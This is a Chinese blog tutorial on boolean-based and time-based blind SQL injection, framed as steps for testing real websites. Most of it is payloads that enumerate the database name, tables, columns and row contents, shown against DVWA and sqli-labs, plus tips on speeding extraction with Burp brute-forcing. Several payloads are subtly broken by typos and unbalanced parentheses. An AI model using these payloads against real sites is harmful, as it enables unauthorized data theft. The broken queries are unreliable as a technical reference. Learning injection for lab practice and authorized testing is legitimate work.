布尔盲注和时间盲注测试真实网站步骤

一:布尔盲注步骤

注入流程:

1.使用1' and '1' = '1与1' and '1' = '2来判断是否存在盲注,若两者回显信息不同,则可判断是否存在盲注

2.判断数据库名长度

length(database())=8--+

若此时存在盲注,则会根据返回不同信息来判断数据库长度是否等于相对应值,如靶场的1或0,也可使用大于号>和小于号<来辅助判断(这里推荐使用浏览器插件hackbar)

3.判断数据库名字

substr(database(),1,1)='d'#

 database为截取的字符串,第二个1为从哪个位置开始,第三个1代表截取的长度

这里需要不断更改d的名字来判断数据库名称,这里将使用burp的爆破模块来加快判断速度

4.判断表数量

(select count(table_name) from information_schema.tables where table_schema='dvwa')=2%23

用于表示查询表的数量,这里是判断表的数量是否为2

对每个部分进行解析说明:

  • SELECT: 这个关键词表明查询的是一个数据集,其中包括所选的列或计算的值。

  • COUNT(table_name): 这部分表示 COUNT() 是一个聚合函数,用于计算指定列中的行数。在这里,COUNT(table_name) 的目的是计算满足后续条件的行数,以此确定表的数量。

  • FROM information_schema.tables: 这部分指定了要从哪个表或视图中检索数据。在这里,我们从名为 information_schema.tables 的系统视图中检索数据,这个视图包含了关于数据库中所有表的信息。

  • WHERE table_schema=‘dvwa’: 这是一个过滤条件,用于限制查询结果。table_schema 是 information_schema.tables 中的一个列,它表示表所属的数据库(schema)。这里的条件 table_schema='dvwa' 表示只返回数据库名为 dvwa 的表的信息。

这里,把WHERE table_schema=‘dvwa’可以理解为就是关于dvwa的数据库所涉及的行进行查询

5.获取表名长度

(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=2%23

获取第二个表名

(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=2%23

6.获取具体表名

substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'

如要查询第二个字母则在尾部的那两个1,1的前一个1改正为2

每个部分的作用:

  1. substr(...):

    • 作用: 截取字符串的一部分。
    • 参数: 第一个参数是要截取的字符串,第二个参数是开始截取的位置,第三个参数是截取的长度。
  2. (select table_name from information_schema.tables where table_schema=database() limit 0,1):

    • 作用: 在数据库中查询表名。
    • 子查询: 查询信息模式中符合条件的表名,其中 table_schema=database() 是条件,表示只查询当前数据库中的表名。
    • LIMIT 0,1: 限制返回结果的行数为 1 行。
  3. ='g':

    • 作用: 对比截取的字符串的第一个字符是否为 'g',返回布尔值(真或假)。

7.获取表中有多少列

(select (select count(cloumn_name) from information_schema.columns where table_name='guestbook' and table_schema='dvwa')=8

8.获取列名长度

length((select column_name frominformation_schema from information_schema.columns where table_name='guestbook' and table_schema='dvwa' limit 0,1))=10%23

获取第二个列名长度

length((select column_name frominformation_schema from information_schema.columns where table_name='guestbook' and table_schema='dvwa' limit 1,1))=10%23

9.获取列名

substr((select cloumn_name from information_schema.columns where table_name='guesrbook' and table_schema='dvwa' limit 0,1),1,1='c'

10.获取有多少行记录

(select count(comment_id) from guestbook)=1

11.获取表中记录长度

(select length(comment_id) from guestbook limit 0,1)=1%23

12.获取具体数据:

substr((select comment_id from guestbook limit 0,1),1,1)='1'%23

这里,简单总结四个函数的作用:

  1. substr() 或 SUBSTRING():

    • 作用: 用于截取字符串的一部分。
  2. group_concat():

    • 作用: 将多个行的列值连接成一个单独的字符串结果。
  3. length():

    • 作用: 返回字符串的长度(即字符的数量)。
  4. count():

    • 作用: 返回匹配特定条件的行数。
  5. limit:作用: 用于限制 SQL 查询返回的结果行数。

二:时间盲注步骤

注入流程:

1.使用语句1' and sleep(5)--+,根据响应时间判断,若存在较大延迟,即5秒时间才返回响应,则可判断存在时间盲注

2.获取表的长度if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(3),1)%23

这里不写太多是因为时间盲注在后续注入跟布尔盲注差不多,所以没有写很多

感谢观看,祝屏幕前的各位也能挖穿src

  • 22
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
使用Burp Suite进行SQL注入漏洞测试时,布尔盲注是一种常用的技术之一。布尔盲注是一种盲注攻击技术,它通过在SQL查询中使用布尔逻辑来确定数据库中的信息。以下是一些步骤测试布尔盲注漏洞: 1. 配置Burp Suite:首先,确保已正确配置Burp Suite以拦截和修改HTTP请求和响应。您可以在Burp Suite的Proxy选项卡下设置代理,并根据需要配置浏览器或应用程序以使用该代理。 2. 找到注入点:使用Burp Suite的Spider或Repeater工具来找到潜在的注入点。这可以是URL参数、表单字段或Cookie值等。 3. 构造注入语句:使用布尔盲注技术,构造适当的注入语句来测试漏洞。例如,您可以尝试通过在WHERE子句中使用布尔逻辑来判断条件是否为真或假来确定数据库中的信息。 4. 检测响应差异:发送经过注入处理的请求,并观察响应是否有所不同。如果响应正常,可能意味着注入失败;如果响应出现错误或有其他差异,可能意味着注入成功。 5. 使用布尔逻辑验证条件:根据不同的响应,使用布尔逻辑来验证条件是否为真或假。例如,您可以通过在注入语句中使用AND或OR运算符来检查条件。 6. 执行进一步的测试:根据验证的结果,您可以进一步探测和利用漏洞。使用Burp Suite的其他工具和插件来自动化和加快测试过程。 请注意,在进行任何安全测试之前,确保您已获得适当的授权,并仅在合法范围内进行测试。此外,始终遵循道德黑客和安全测试的最佳实践。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值